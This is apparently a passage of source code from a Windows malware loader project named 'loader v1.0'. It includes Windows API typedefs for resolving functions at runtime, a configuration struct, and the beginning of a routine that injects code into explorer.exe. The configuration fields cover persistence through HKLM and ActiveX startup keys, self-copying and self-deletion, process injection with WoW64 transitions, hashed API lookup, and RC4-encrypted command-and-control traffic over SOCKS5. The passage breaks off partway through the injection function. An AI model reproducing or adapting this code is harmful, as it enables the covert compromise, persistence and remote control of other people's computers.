th32ProcessID _DWORD ?
th32DefaultHeapID _ULONG_PTR ?
th32ModuleID _DWORD ?
cntThreads _DWORD ?
th32ParentProcessID _DWORD ?
pcPriClassBase _LONG ?
dwFlags _DWORD ?
szExeFile _WCHAR 260 dup(?)
ends
struct FD_SET
fd_count _DWORD ?
fd_array _SOCKET 64 dup(?)
ends
struct TIMEVAL
tv_sec _LONG ?
tv_usec _LONG ?
ends
TOKEN_ADJUST_PRIVILEGES = 0x0020
TOKEN_QUERY = 0x0008
SE_PRIVILEGE_ENABLED = 0x00000002
true = 1
false = 0
SOCKET_ERROR = -1
INADDR_NONE = 0xffffffff
SOL_SOCKET = 0xffff
SO_RCVBUF = 0x1002
SO_RCVTIMEO = 0x1006
SO_SNDTIMEO = 0x1005
COMPRESSION_FORMAT_LZNT1 = 0x0002
COMPRESSION_ENGINE_STANDARD = 0x0000
ERROR_ALREADY_EXISTS = 183
TH32CS_SNAPHEAPLIST = 0x00000001
TH32CS_SNAPPROCESS = 0x00000002
TH32CS_SNAPTHREAD = 0x00000004
TH32CS_SNAPMODULE = 0x00000008
TH32CS_SNAPMODULE32 = 0x00000010
TH32CS_SNAPALL = TH32CS_SNAPHEAPLIST or TH32CS_SNAPPROCESS or TH32CS_SNAPTHREAD or TH32CS_SNAPMODULE
TH32CS_INHERIT = 0x80000000
================================================
FILE: loader v1.0/loader_function/loader_function/ReadMe.txt
================================================
========================================================================
控制台应用程序:loader_function 项目概述
========================================================================
应用程序向导已为您创建了此 loader_function 应用程序。
本文件概要介绍组成 loader_function 应用程序的每个文件的内容。
loader_function.vcxproj
这是使用应用程序向导生成的 VC++ 项目的主项目文件,其中包含生成该文件的 Visual C++ 的版本信息,以及有关使用应用程序向导选择的平台、配置和项目功能的信息。
loader_function.vcxproj.filters
这是使用“应用程序向导”生成的 VC++ 项目筛选器文件。它包含有关项目文件与筛选器之间的关联信息。在 IDE 中,通过这种关联,在特定节点下以分组形式显示具有相似扩展名的文件。例如,“.cpp”文件与“源文件”筛选器关联。
loader_function.cpp
这是主应用程序源文件。
/////////////////////////////////////////////////////////////////////////////
其他标准文件:
StdAfx.h, StdAfx.cpp
这些文件用于生成名为 loader_function.pch 的预编译头 (PCH) 文件和名为 StdAfx.obj 的预编译类型文件。
/////////////////////////////////////////////////////////////////////////////
其他注释:
应用程序向导使用“TODO:”注释来指示应添加或自定义的源代码部分。
/////////////////////////////////////////////////////////////////////////////
================================================
FILE: loader v1.0/loader_function/loader_function/apis.inc
================================================
typedef HMODULE(WINAPI *_LoadLibraryA)(__in LPCSTR lpLibFileName);
typedef HMODULE(WINAPI *_LoadLibraryW)(__in LPCWSTR lpLibFileName);
typedef PROC(WINAPI *_GetProcAddress)(__in HMODULE hModule,
__in LPCSTR lpProcName);
typedef HANDLE(WINAPI *_GetCurrentProcess)(VOID);
typedef BOOL(WINAPI *_CloseHandle)(__in HANDLE hObject);
typedef HANDLE(WINAPI *_OpenProcess)(__in DWORD dwDesiredAccess,
__in BOOL bInheritHandle,
__in DWORD dwProcessId);
typedef int(WINAPI *_lstrlenA)(__in LPCSTR lpString);
typedef int(WINAPI *_lstrlenW)(__in LPCWSTR lpString);
typedef int(WINAPI *_lstrcmpiW)(__in LPCWSTR lpString1, __in LPCWSTR lpString2);
typedef LPVOID(WINAPI *_HeapAlloc)(__in HANDLE hHeap, __in DWORD dwFlags,
__in SIZE_T dwBytes);
typedef LPVOID(WINAPI *_HeapReAlloc)(__inout HANDLE hHeap, __in DWORD dwFlags,
__deref LPVOID lpMem, __in SIZE_T dwBytes);
typedef BOOL(WINAPI *_HeapFree)(__inout HANDLE hHeap, __in DWORD dwFlags,
__drv_freesMem(Mem)
__post __notvalid __deref LPVOID lpMem);
typedef HANDLE(WINAPI *_GetProcessHeap)(VOID);
typedef HMODULE(WINAPI *_GetModuleHandleA)(__in LPCSTR lpModuleName);
typedef DWORD(WINAPI *_GetModuleFileNameW)(__in HMODULE hModule,
LPWSTR lpFilename, __in DWORD nSize);
typedef HANDLE(WINAPI *_CreateMutexA)(
__in LPSECURITY_ATTRIBUTES lpMutexAttributes, __in BOOL bInitialOwner,
__in LPCSTR lpName);
typedef DWORD(WINAPI *_GetLastError)(VOID);
typedef VOID(WINAPI *_Sleep)(__in DWORD dwMilliseconds);
typedef LPVOID(WINAPI *_VirtualAllocEx)(__in HANDLE hProcess,
__in LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD flAllocationType,
__in DWORD flProtect);
typedef BOOL(WINAPI *_VirtualFreeEx)(__in HANDLE hProcess,
__in LPVOID lpAddress, __in SIZE_T dwSize,
__in DWORD dwFreeType);
typedef BOOL(WINAPI *_WriteProcessMemory)(__in HANDLE hProcess,
__in LPVOID lpBaseAddress,
__in_bcount(nSize) LPCVOID lpBuffer,
__in SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten);
typedef DWORD(WINAPI *_WaitForSingleObject)(__in HANDLE hHandle,
__in DWORD dwMilliseconds);
typedef HANDLE(WINAPI *_CreateToolhelp32Snapshot)(DWORD dwFlags,
DWORD th32ProcessID);
typedef BOOL(WINAPI *_Process32FirstW)(HANDLE hSnapshot,
LPPROCESSENTRY32W lppe);
typedef BOOL(WINAPI *_Process32NextW)(HANDLE hSnapshot, LPPROCESSENTRY32W lppe);
typedef DWORD(WINAPI *_ExpandEnvironmentStringsW)(__in LPCWSTR lpSrc,
LPWSTR lpDst,
__in DWORD nSize);
typedef BOOL(WINAPI *_CreateProcessW)(
__in LPCWSTR lpApplicationName, __inout LPWSTR lpCommandLine,
__in LPSECURITY_ATTRIBUTES lpProcessAttributes,
__in LPSECURITY_ATTRIBUTES lpThreadAttributes, __in BOOL bInheritHandles,
__in DWORD dwCreationFlags, __in LPVOID lpEnvironment,
__in LPCWSTR lpCurrentDirectory, __in LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation);
typedef HANDLE(WINAPI *_CreateRemoteThread)(
__in HANDLE hProcess, __in LPSECURITY_ATTRIBUTES lpThreadAttributes,
__in SIZE_T dwStackSize, __in LPTHREAD_START_ROUTINE lpStartAddress,
__in LPVOID lpParameter, __in DWORD dwCreationFlags, LPDWORD lpThreadId);
typedef VOID(WINAPI *_RtlZeroMemory)(IN VOID UNALIGNED *Destination,
IN SIZE_T Length);
typedef VOID(WINAPI *_RtlMoveMemory)(IN VOID UNALIGNED *Destination,
IN CONST VOID UNALIGNED *Source,
IN SIZE_T Length);
typedef NTSTATUS(WINAPI *_RtlCompressBuffer)(
USHORT CompressionFormatAndEngine, PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize, PUCHAR CompressedBuffer,
ULONG CompressedBufferSize, ULONG UncompressedChunkSize,
PULONG FinalCompressedSize, PVOID WorkSpace);
typedef NTSTATUS(WINAPI *_RtlGetCompressionWorkSpaceSize)(
USHORT CompressionFormatAndEngine, PULONG CompressBufferWorkSpaceSize,
PULONG CompressFragmentWorkSpaceSize);
typedef NTSTATUS(WINAPI *_RtlDecompressBuffer)(USHORT CompressionFormat,
PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize,
PUCHAR CompressedBuffer,
ULONG CompressedBufferSize,
PULONG FinalUncompressedSize);
typedef BOOL(WINAPI *_OpenProcessToken)(__in HANDLE ProcessHandle,
__in DWORD DesiredAccess,
__deref_out PHANDLE TokenHandle);
typedef BOOL(WINAPI *_LookupPrivilegeValueA)(__in LPCSTR lpSystemName,
__in LPCSTR lpName, PLUID lpLuid);
typedef BOOL(WINAPI *_AdjustTokenPrivileges)(__in HANDLE TokenHandle,
__in BOOL DisableAllPrivileges,
__in PTOKEN_PRIVILEGES NewState,
__in DWORD BufferLength,
PTOKEN_PRIVILEGES PreviousState,
PDWORD ReturnLength);
typedef LSTATUS(APIENTRY *_RegOpenKeyExA)(__in HKEY hKey, __in LPCSTR lpSubKey,
__in DWORD ulOptions,
__in REGSAM samDesired,
PHKEY phkResult);
typedef LSTATUS(APIENTRY *_RegCreateKeyExW)(
__in HKEY hKey, __in LPCWSTR lpSubKey, __reserved DWORD Reserved,
__in LPWSTR lpClass, __in DWORD dwOptions, __in REGSAM samDesired,
__in CONST LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult,
LPDWORD lpdwDisposition);
typedef LSTATUS(APIENTRY *_RegSetValueExW)(
__in HKEY hKey, __in LPCWSTR lpValueName, __reserved DWORD Reserved,
__in DWORD dwType, __in_bcount(cbData) CONST BYTE *lpData,
__in DWORD cbData);
typedef LSTATUS(APIENTRY *_RegQueryValueExW)(__in HKEY hKey,
__in LPCWSTR lpValueName,
__reserved LPDWORD lpReserved,
LPDWORD lpType, LPBYTE lpData,
__inout LPDWORD lpcbData);
typedef LSTATUS(APIENTRY *_RegCloseKey)(__in HKEY hKey);
typedef int(PASCAL *_WSAStartup)(__in WORD wVersionRequired,
LPWSADATA lpWSAData);
typedef int(PASCAL *_WSACleanup)(void);
typedef u_short(PASCAL *_htons)(__in u_short hostshort);
typedef u_long(PASCAL *_inet_addr)(__in const char *cp);
typedef struct hostent *(PASCAL *_gethostbyname)(__in_z const char *name);
typedef SOCKET(PASCAL *_socket)(__in int af, __in int type, __in int protocol);
typedef int(PASCAL *_closesocket)(IN SOCKET s);
typedef int(PASCAL *_connect)(__in SOCKET s,
__in_bcount(namelen) const struct sockaddr *name,
__in int namelen);
typedef int(PASCAL *_setsockopt)(__in SOCKET s, __in int level,
__in int optname,
__in_bcount(optlen) const char *optval,
__in int optlen);
typedef int(PASCAL *_send)(__in SOCKET s, __in_bcount(len) const char *buf,
__in int len, __in int flags);
typedef int(PASCAL *_recv)(__in SOCKET s, char *buf, __in int len,
__in int flags);
typedef int(PASCAL *_select)(__in int nfds, __inout fd_set *readfds,
__inout fd_set *writefds,
__inout fd_set *exceptfds,
__in const struct timeval *timeout);
typedef LPWSTR(WINAPI *_lstrcpyW)(LPWSTR lpString1, LPCWSTR lpString2);
typedef LPSTR(WINAPI *_lstrcpyA)(LPSTR lpString1, LPCSTR lpString2);
typedef int(WINAPI *_MessageBoxA)(__in_opt HWND hWnd, __in_opt LPCSTR lpText,
__in_opt LPCSTR lpCaption, __in UINT uType);
typedef int(WINAPI *_WideCharToMultiByte)(
__in UINT CodePage, __in DWORD dwFlags,
__in_ecount(cchWideChar) LPCWSTR lpWideCharStr, __in int cchWideChar,
__out_bcount_opt(cbMultiByte) __transfer(lpWideCharStr)
LPSTR lpMultiByteStr,
__in int cbMultiByte, __in_opt LPCSTR lpDefaultChar,
__out_opt LPBOOL lpUsedDefaultChar);
typedef DWORD(WINAPI *_GetTickCount)(VOID);
typedef int(PASCAL *_gethostname)(__out_bcount_part(namelen,
return ) char FAR *name,
__in int namelen);
typedef char *(PASCAL *_inet_ntoa)(__in struct in_addr in);
typedef UINT(WINAPI *_GetSystemDirectoryA)(
__out_ecount_part_opt(uSize, return +1) LPSTR lpBuffer, __in UINT uSize);
typedef UINT(WINAPI *_GetSystemDirectoryW)(
__out_ecount_part_opt(uSize, return +1) LPWSTR lpBuffer, __in UINT uSize);
typedef DWORD(APIENTRY *_GetFileVersionInfoSizeA)(
__in LPCSTR lptstrFilename, /* Filename of version stamped file */
__out_opt LPDWORD lpdwHandle /* Information for use by GetFileVersionInfo */
);
typedef BOOL(APIENTRY *_GetFileVersionInfoA)(
__in LPCSTR lptstrFilename, /* Filename of version stamped file */
__reserved DWORD dwHandle, /* Information from GetFileVersionSize */
__in DWORD dwLen, /* Length of buffer for info */
__out_bcount(dwLen) LPVOID lpData /* Buffer to place the data structure */
);
typedef BOOL(APIENTRY *_VerQueryValueA)(__in LPCVOID pBlock,
__in LPCSTR lpSubBlock,
LPVOID *lplpBuffer, __out PUINT puLen);
typedef int(__cdecl *_wnsprintfA)(__out_ecount(cchDest) LPSTR pszDest,
__in int cchDest,
__in __format_string LPCSTR pszFmt, ...);
typedef BOOL(WINAPI *_GetComputerNameW)(__out_ecount_part_opt(*nSize,
*nSize + 1)
LPWSTR lpBuffer,
__inout LPDWORD nSize);
typedef BOOL(WINAPI *_GetUserNameW)(__out_ecount_part_opt(*pcbBuffer,
*pcbBuffer)
LPWSTR lpBuffer,
__inout LPDWORD pcbBuffer);
typedef BOOL(WINAPI *_GlobalMemoryStatusEx)(__out LPMEMORYSTATUSEX lpBuffer);
typedef int(WINAPI *_GetLocaleInfoA)(__in LCID Locale,
__in LCTYPE LCType,
__out_ecount_opt(cchData) LPSTR lpLCData,
__in int cchData);
typedef int(WINAPI *_GetLocaleInfoW)(__in LCID Locale, __in LCTYPE LCType,
__out_ecount_opt(cchData) LPWSTR lpLCData,
__in int cchData);
typedef LPSTR(WINAPI *_lstrcatA)(__inout LPSTR lpString1,
__in LPCSTR lpString2
);
typedef LPSTR(WINAPI *_lstrcatW)(__inout LPWSTR lpString1,
__in LPCWSTR lpString2
);
typedef LSTATUS(APIENTRY *_RegQueryValueExA)(__in HKEY hKey,
__in_opt LPCSTR lpValueName,
__reserved LPDWORD lpReserved,
__out_opt LPDWORD lpType,
__out_bcount_part_opt(*lpcbData, *lpcbData) __out_data_source(REGISTRY) LPBYTE lpData,
__inout_opt LPDWORD lpcbData
);
typedef BOOL(WINAPI *_CreatePipe)(__out_ecount_full(1) PHANDLE hReadPipe,
__out_ecount_full(1) PHANDLE hWritePipe,
__in_opt LPSECURITY_ATTRIBUTES lpPipeAttributes,
__in DWORD nSize
);
typedef BOOL(WINAPI *_GetExitCodeProcess)(__in HANDLE hProcess, __out LPDWORD lpExitCode);
typedef BOOL(WINAPI *_PeekNamedPipe)(__in HANDLE hNamedPipe,
__out_bcount_part_opt(nBufferSize, *lpBytesRead) LPVOID lpBuffer,
__in DWORD nBufferSize,
__out_opt LPDWORD lpBytesRead,
__out_opt LPDWORD lpTotalBytesAvail,
__out_opt LPDWORD lpBytesLeftThisMessage
);
typedef BOOL(WINAPI *_ReadFile)(
__in HANDLE hFile,
__out_bcount_part_opt(nNumberOfBytesToRead, *lpNumberOfBytesRead) __out_data_source(FILE) LPVOID lpBuffer,
__in DWORD nNumberOfBytesToRead,
__out_opt LPDWORD lpNumberOfBytesRead,
__inout_opt LPOVERLAPPED lpOverlapped
);
typedef BOOL (WINAPI *_WriteFile)(
__in HANDLE hFile,
__in_bcount_opt(nNumberOfBytesToWrite) LPCVOID lpBuffer,
__in DWORD nNumberOfBytesToWrite,
__out_opt LPDWORD lpNumberOfBytesWritten,
__inout_opt LPOVERLAPPED lpOverlapped
);
typedef BOOL(WINAPI *_TerminateProcess)(
__in HANDLE hProcess,
__in UINT uExitCode
);
typedef HBITMAP(WINAPI *_CreateCompatibleBitmap)( __in HDC hdc, __in int cx, __in int cy);
typedef int(WINAPI *_GetDIBits)( __in HDC hdc, __in HBITMAP hbm, __in UINT start, __in UINT cLines, __out_opt LPVOID lpvBits, __inout_xcount(sizeof(BITMAPINFOHEADER)) LPBITMAPINFO lpbmi, __in UINT usage); // SAL actual size of lpbmi is computed from structure elements
typedef BOOL(WINAPI *_DeleteObject)( __in HGDIOBJ ho);
typedef HBITMAP(WINAPI *_CreateDIBSection)(__in_opt HDC hdc, __in CONST BITMAPINFO *lpbmi, __in UINT usage, __deref_opt_out VOID **ppvBits, __in_opt HANDLE hSection, __in DWORD offset);
typedef HDC(WINAPI *_CreateCompatibleDC)( __in_opt HDC hdc);
typedef HGDIOBJ(WINAPI *_SelectObject)(__in HDC hdc, __in HGDIOBJ h);
typedef BOOL(WINAPI *_DeleteDC)( __in HDC hdc);
typedef BOOL(WINAPI *_SetRect)(
__out LPRECT lprc,
__in int xLeft,
__in int yTop,
__in int xRight,
__in int yBottom);
typedef DWORD(WINAPI *_GetCurrentThreadId)(
VOID
);
typedef BOOL(WINAPI *_GetUserObjectInformationA)(
__in HANDLE hObj,
__in int nIndex,
__out_bcount_opt(nLength) PVOID pvInfo,
__in DWORD nLength,
__out_opt LPDWORD lpnLengthNeeded);
typedef int(WINAPI *_lstrcmpiA)(
__in LPCSTR lpString1,
__in LPCSTR lpString2
);
typedef BOOL(WINAPI *_SetThreadDesktop)(
__in HDESK hDesktop);
typedef BOOL(WINAPI *_CloseDesktop)(
__in HDESK hDesktop);
typedef int(WINAPI *_GetSystemMetrics)(
__in int nIndex);
typedef HWND(WINAPI *_GetDesktopWindow)(
VOID);
typedef HDC(WINAPI *_GetDC)(
__in_opt HWND hWnd);
typedef int(WINAPI *_ReleaseDC)(
__in_opt HWND hWnd,
__in HDC hDC);
typedef BOOL(WINAPI *_SetRectEmpty)(
__out LPRECT lprc);
typedef BOOL(WINAPI *_BitBlt)( __in HDC hdc, __in int x, __in int y, __in int cx, __in int cy, __in_opt HDC hdcSrc, __in int x1, __in int y1, __in DWORD rop);
typedef BOOL(WINAPI *_GetCursorPos)(
__out LPPOINT lpPoint);
typedef BOOL(WINAPI *_StretchBlt)(__in HDC hdcDest, __in int xDest, __in int yDest, __in int wDest, __in int hDest, __in_opt HDC hdcSrc, __in int xSrc, __in int ySrc, __in int wSrc, __in int hSrc, __in DWORD rop);
typedef HDESK(WINAPI *_GetThreadDesktop)(
__in DWORD dwThreadId);
typedef HDESK(WINAPI *_OpenInputDesktop)(
__in DWORD dwFlags,
__in BOOL fInherit,
__in ACCESS_MASK dwDesiredAccess);
typedef UINT(WINAPI *_GetSystemDirectoryA)(
LPSTR lpBuffer,
__in UINT uSize
);
UINT
typedef (WINAPI *_GetWindowsDirectoryW)(
LPWSTR lpBuffer,
__in UINT uSize
);
typedef BOOL(WINAPI *_CopyFileW)(
__in LPCWSTR lpExistingFileName,
__in LPCWSTR lpNewFileName,
__in BOOL bFailIfExists
);
typedef BOOL(WINAPI *_DeleteFileW)(
_In_ LPCWSTR lpFileName
);
================================================
FILE: loader v1.0/loader_function/loader_function/global_data.h
================================================
#ifndef GLOBAL_DATA_H
#define GLOBAL_DATA_H
#include
#include
#include
#include
#include
#include
#include
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;
typedef struct global_data global_data_t, *global_data_p;
typedef struct extra_function extra_function_t;
typedef struct explorer_thread_param explorer_thread_param_t;
#define COPY_METHOD_NONE 0
#define COPY_METHOD_TO_WINDOWS 1
#define COPY_METHOD_TO_SYSTEM 2
#define INJECT_METHOD_IEXPLORER 0
#define INJECT_METHOD_CUSTOM 1
#define INJECT_TIMES 4
#define INJECT_INTERVAL 1000 * 7
#include "apis.inc"
#include "shellcode.inc"
#pragma pack(push)
#pragma pack(1)
struct extra_function {
union {
u64 ptr64;
struct {
u32 ptr32;
u32 dummy;
};
};
u16 size;
};
#ifdef _WIN64
typedef struct x64_global_data x64_global_data_t;
struct x64_global_data {
HMODULE kernel32;
_LoadLibraryA xLoadLibraryA;
_GetProcAddress xGetProcAddress;
_CloseHandle xCloseHandle;
_OpenProcess xOpenProcess;
_lstrlenW xlstrlenW;
_lstrcatW xlstrcatW;
_lstrcpyW xlstrcpyW;
_lstrcmpiW xlstrcmpiW;
_Sleep xSleep;
_VirtualAllocEx xVirtualAllocEx;
_WriteProcessMemory xWriteProcessMemory;
_WaitForSingleObject xWaitForSingleObject;
_CreateToolhelp32Snapshot xCreateToolhelp32Snapshot;
_Process32FirstW xProcess32FirstW;
_Process32NextW xProcess32NextW;
_ExpandEnvironmentStringsW xExpandEnvironmentStringsW;
_CreateProcessW xCreateProcessW;
_CreateRemoteThread xCreateRemoteThread;
_GetSystemDirectoryW xGetSystemDirectoryW;
_GetWindowsDirectoryW xGetWindowsDirectoryW;
_CopyFileW xCopyFileW;
_DeleteFileW xDeleteFileW;
_GetProcessHeap xGetProcessHeap;
_HeapAlloc xHeapAlloc;
_HeapFree xHeapFree;
_CreateMutexA xCreateMutexA;
_GetLastError xGetLastError;
_GetCurrentProcess xGetCurrentProcess;
HMODULE ntdll;
_RtlZeroMemory xRtlZeroMemory;
_RtlMoveMemory xRtlMoveMemory;
HMODULE advapi32;
_OpenProcessToken xOpenProcessToken;
_LookupPrivilegeValueA xLookupPrivilegeValueA;
_AdjustTokenPrivileges xAdjustTokenPrivileges;
_RegOpenKeyExA xRegOpenKeyExA;
_RegCreateKeyExW xRegCreateKeyExW;
_RegSetValueExW xRegSetValueExW;
_RegCloseKey xRegCloseKey;
wchar_t *expand_str;
char *sedebugname;
};
#endif
struct global_data {
u8 is_wow64;
wchar_t loader_path[256];
char mutex_name[100];
u8 persistence;
u8 melt;
u8 copy_method;
wchar_t copy_to[100];
u8 startup_hklm;
wchar_t nklm_name[100];
u8 startup_acitvex;
wchar_t activex_name[100];
u8 inject_to_ie;
u8 inject_to_custom;
wchar_t custom_process_name[100];
wchar_t group[12];
wchar_t id[12];
u8 dns_list[256];
u8 socks5;
u8 socks5_dns[100];
u16 socks5_port;
u8 socks5_user[100];
u8 socks5_pass[100];
u8 rc4_key[260];
u8 send_sbox[256];
u8 recv_sbox[256];
#ifdef _WIN64
u32 kernel32;
u32 xLoadLibraryA, xGetProcAddress, xGetCurrentProcess, xCloseHandle, xOpenProcess, xlstrlenA, xlstrlenW, xlstrcatW, xlstrcpyA,
xlstrcpyW, xlstrcmpiW, xHeapAlloc, xHeapReAlloc, xHeapFree, xGetProcessHeap, xGetModuleHandleA, xGetModuleFileNameW, xCreateMutexA,
xGetLastError, xSleep, xVirtualAllocEx, xVirtualFreeEx, xWriteProcessMemory, xWaitForSingleObject, xCreateToolhelp32Snapshot,
xProcess32FirstW, xProcess32NextW, xExpandEnvironmentStringsW, xCreateProcessW, xCreateRemoteThread, xGetSystemDirectoryW,
xGetWindowsDirectoryW, xCopyFileW, xDeleteFileW;
u32 ntdll;
u32 xRtlZeroMemory, xRtlMoveMemory, xRtlCompressBuffer, xRtlGetCompressionWorkSpaceSize, xRtlDecompressBuffer;
u32 advapi32;
u32 xOpenProcessToken, xLookupPrivilegeValueA, xAdjustTokenPrivileges, xRegOpenKeyExA, xRegCreateKeyExW, xRegSetValueExW,
xRegQueryValueExW, xRegCloseKey;
u32 ws2_32;
u32 xWSAStartup, xWSACleanup, xhtons, xinet_addr, xgethostbyname, xsocket, xclosesocket, xconnect, xsetsockopt, xsend, xrecv, xselect;
#else
HMODULE kernel32;
_LoadLibraryA xLoadLibraryA;
_GetProcAddress xGetProcAddress;
_GetCurrentProcess xGetCurrentProcess;
_CloseHandle xCloseHandle;
_OpenProcess xOpenProcess;
_lstrlenA xlstrlenA;
_lstrlenW xlstrlenW;
_lstrcatW xlstrcatW;
_lstrcpyA xlstrcpyA;
_lstrcpyW xlstrcpyW;
_lstrcmpiW xlstrcmpiW;
_HeapAlloc xHeapAlloc;
_HeapReAlloc xHeapReAlloc;
_HeapFree xHeapFree;
_GetProcessHeap xGetProcessHeap;
_GetModuleHandleA xGetModuleHandleA;
_GetModuleFileNameW xGetModuleFileNameW;
_CreateMutexA xCreateMutexA;
_GetLastError xGetLastError;
_Sleep xSleep;
_VirtualAllocEx xVirtualAllocEx;
_VirtualFreeEx xVirtualFreeEx;
_WriteProcessMemory xWriteProcessMemory;
_WaitForSingleObject xWaitForSingleObject;
_CreateToolhelp32Snapshot xCreateToolhelp32Snapshot;
_Process32FirstW xProcess32FirstW;
_Process32NextW xProcess32NextW;
_ExpandEnvironmentStringsW xExpandEnvironmentStringsW;
_CreateProcessW xCreateProcessW;
_CreateRemoteThread xCreateRemoteThread;
_GetSystemDirectoryW xGetSystemDirectoryW;
_GetWindowsDirectoryW xGetWindowsDirectoryW;
_CopyFileW xCopyFileW;
_DeleteFileW xDeleteFileW;
HMODULE ntdll;
_RtlZeroMemory xRtlZeroMemory;
_RtlMoveMemory xRtlMoveMemory;
_RtlCompressBuffer xRtlCompressBuffer;
_RtlGetCompressionWorkSpaceSize xRtlGetCompressionWorkSpaceSize;
_RtlDecompressBuffer xRtlDecompressBuffer;
HMODULE advapi32;
_OpenProcessToken xOpenProcessToken;
_LookupPrivilegeValueA xLookupPrivilegeValueA;
_AdjustTokenPrivileges xAdjustTokenPrivileges;
_RegOpenKeyExA xRegOpenKeyExA;
_RegCreateKeyExW xRegCreateKeyExW;
_RegSetValueExW xRegSetValueExW;
_RegQueryValueExW xRegQueryValueExW;
_RegCloseKey xRegCloseKey;
HMODULE ws2_32;
_WSAStartup xWSAStartup;
_WSACleanup xWSACleanup;
_htons xhtons;
_inet_addr xinet_addr;
_gethostbyname xgethostbyname;
_socket xsocket;
_closesocket xclosesocket;
_connect xconnect;
_setsockopt xsetsockopt;
_send xsend;
_recv xrecv;
_select xselect;
#endif
u8 extra_data[1024];
#ifdef _WIN64
u32 get_proc_from_hash, rc4_init, rc4_crypt, alloc_memory, realloc_memory, free_memory, alloc_executable_memory, free_executable_memory,
compress, decompress, wait_buffer, recv_data, send_data, connect_server;
#else
_get_proc_from_hash get_proc_from_hash;
_rc4_init rc4_init;
_rc4_crypt rc4_crypt;
_alloc_memory alloc_memory;
_realloc_memory realloc_memory;
_free_memory free_memory;
_alloc_executable_memory alloc_executable_memory;
_free_executable_memory free_executable_memory;
_compress compress;
_decompress decompress;
_wait_buffer wait_buffer;
_recv_data recv_data;
_send_data send_data;
void *connect_server; // shellcodeʹ
#endif
#ifdef _WIN64
extra_function_t connect_by_socks5, inject_to_explorer, add_startup_hklm_x86, add_startup_activex_x86, copy_self_x86,
find_process_by_name_x86, inject_to_exploer_code_x86;
HMODULE(*get_kernel32_base_x64)();
u16 get_kernel32_base_x64_size;
HMODULE(*get_ntdll_base_x64)();
u16 get_ntdll_base_x64_size;
HMODULE(*get_proc_from_hash_x64)(HMODULE, u32, _GetProcAddress);
u16 get_proc_from_hash_x64_size;
void(*add_startup_hklm_x64)(struct x64_global_data *, struct global_data *);
u16 add_startup_hklm_x64_size;
void(*add_startup_activex_x64)(struct x64_global_data *, struct global_data *);
u16 add_startup_activex_x64_size;
void(*copy_self_x64)(struct x64_global_data *, struct global_data *);
u16 copy_self_x64_size;
u32(__stdcall *find_process_by_name_x64)(struct x64_global_data *, wchar_t *);
u16 find_process_by_name_x64_size;
extra_function_t inject_to_explorer_code_x64;
#else
extra_function_t connect_by_socks5, inject_to_explorer;
void(__stdcall *add_startup_hklm_x86)(struct global_data *);
u32 dummy0;
u16 add_startup_hklm_x86_size;
void(__stdcall *add_startup_activex_x86)(struct global_data *);
u32 dummy1;
u16 add_startup_activex_x86_size;
void(__stdcall *copy_self_x86)(struct global_data *);
u32 dummy2;
u16 copy_self_x86_size;
u32(__stdcall *find_process_by_name_x86)(global_data_p, wchar_t *);
u32 dummy3;
u16 find_process_by_name_x86_size;
extra_function_t inject_to_explorer_code_x86, get_kernel32_base_x64, get_ntdll_base_x64, get_proc_from_hash_x64, add_startup_hklm_x64,
add_startup_activex_x64, copy_self_x64, find_process_by_name_x64, inject_to_explorer_code_x64;
#endif
};
struct explorer_thread_param {
global_data_t global_data;
u64 thread_main;
u16 thread_main_size;
};
#pragma pack(pop)
#endif // GLOBAL_DATA_H
================================================
FILE: loader v1.0/loader_function/loader_function/inject_to_explorer.c
================================================
#include "shellcodes.h"
#ifndef _WIN64
extern bool __stdcall inject_to_explorer(global_data_t *global_data, wchar_t *process_name, void *thread_main, u32 thread_main_size);
extern HANDLE wow64_create_remote_thread(global_data_t *global_data, HANDLE process, u64 thread, u64 param);
u64 inject_memory(global_data_t *global_data, HANDLE process, unsigned char *buf, u32 size);
extern u64 wow64_inject_memory(global_data_t *global_data, HANDLE process, unsigned char *buf, u32 size);
extern u64 wow64_call(u64 func, int argC, ...);
extern u32 find_process_by_name(global_data_t *global_data);
extern void inject_to_explorer_end();
#define NtAllocateVirtualMemory_Hash 0x7E6E5D9D
#define NtWriteVirtualMemory_Hash 0x79BB568F
#define RtlCreateUserThread_Hash 0x2309A86F
// from wow64ext
#define _RAX 0
#define _RCX 1
#define _RDX 2
#define _RBX 3
#define _RSP 4
#define _RBP 5
#define _RSI 6
#define _RDI 7
#define _R8 8
#define _R9 9
#define _R10 10
#define _R11 11
#define _R12 12
#define _R13 13
#define _R14 14
#define _R15 15
#ifndef STATUS_SUCCESS
# define STATUS_SUCCESS 0
#endif
#define emit(a) __asm __emit(a)
#define X64_Push(r) emit(0x48 | ((r) >> 3)) emit(0x50 | ((r) & 7))
#define X64_Pop(r) emit(0x48 | ((r) >> 3)) emit(0x58 | ((r) & 7))
#define REX_W emit(0x48) __asm
#define x64_start() \
{\
emit(0x6a) emit(0x33) /* push 0x33 */\
emit(0xe8) emit(0) emit(0) emit(0) emit(0) /* call $+5 */\
emit(0x83) emit(0x4) emit(0x24) emit(0x5) /* add dword [esp], 0x5 */\
emit(0xcb) /* retf */\
}
#define x64_end() \
{\
emit(0xe8) emit(0) emit(0) emit(0) emit(0) /* call $+5 */\
emit(0xc7) emit(0x44) emit(0x24) emit(0x4) emit(0x23) emit(0) emit(0) emit(0) /* mov dword [rsp + 4], 0x23 */\
emit(0x83) emit(0x4) emit(0x24) emit(0xd) /* add dword [rsp], 0xd */\
emit(0xcb) /* retf */\
}
typedef union reg64 {
u64 v;
u32 dw[2];
} reg64;
#pragma optimize("ts", on)
bool __stdcall inject_to_explorer(global_data_t *global_data, wchar_t *process_name, void *thread_main, u32 thread_main_size) {
u32 target = global_data->find_process_by_name_x86(global_data, process_name);
while (target == 0) {
global_data->xSleep(1000 * 3);
target = global_data->find_process_by_name_x86(global_data, process_name);
}
HANDLE process = global_data->xOpenProcess(PROCESS_ALL_ACCESS, false, target);
if (process == 0) return false;
explorer_thread_param_t *remote_thread_param = global_data->alloc_memory(global_data, sizeof(explorer_thread_param_t));
global_data->xRtlZeroMemory(remote_thread_param, sizeof(explorer_thread_param_t));
global_data->xRtlMoveMemory(&remote_thread_param->global_data, global_data, sizeof(global_data_t));
// global_data extrac
extra_function_t *extrac_function = &remote_thread_param->global_data.connect_by_socks5;
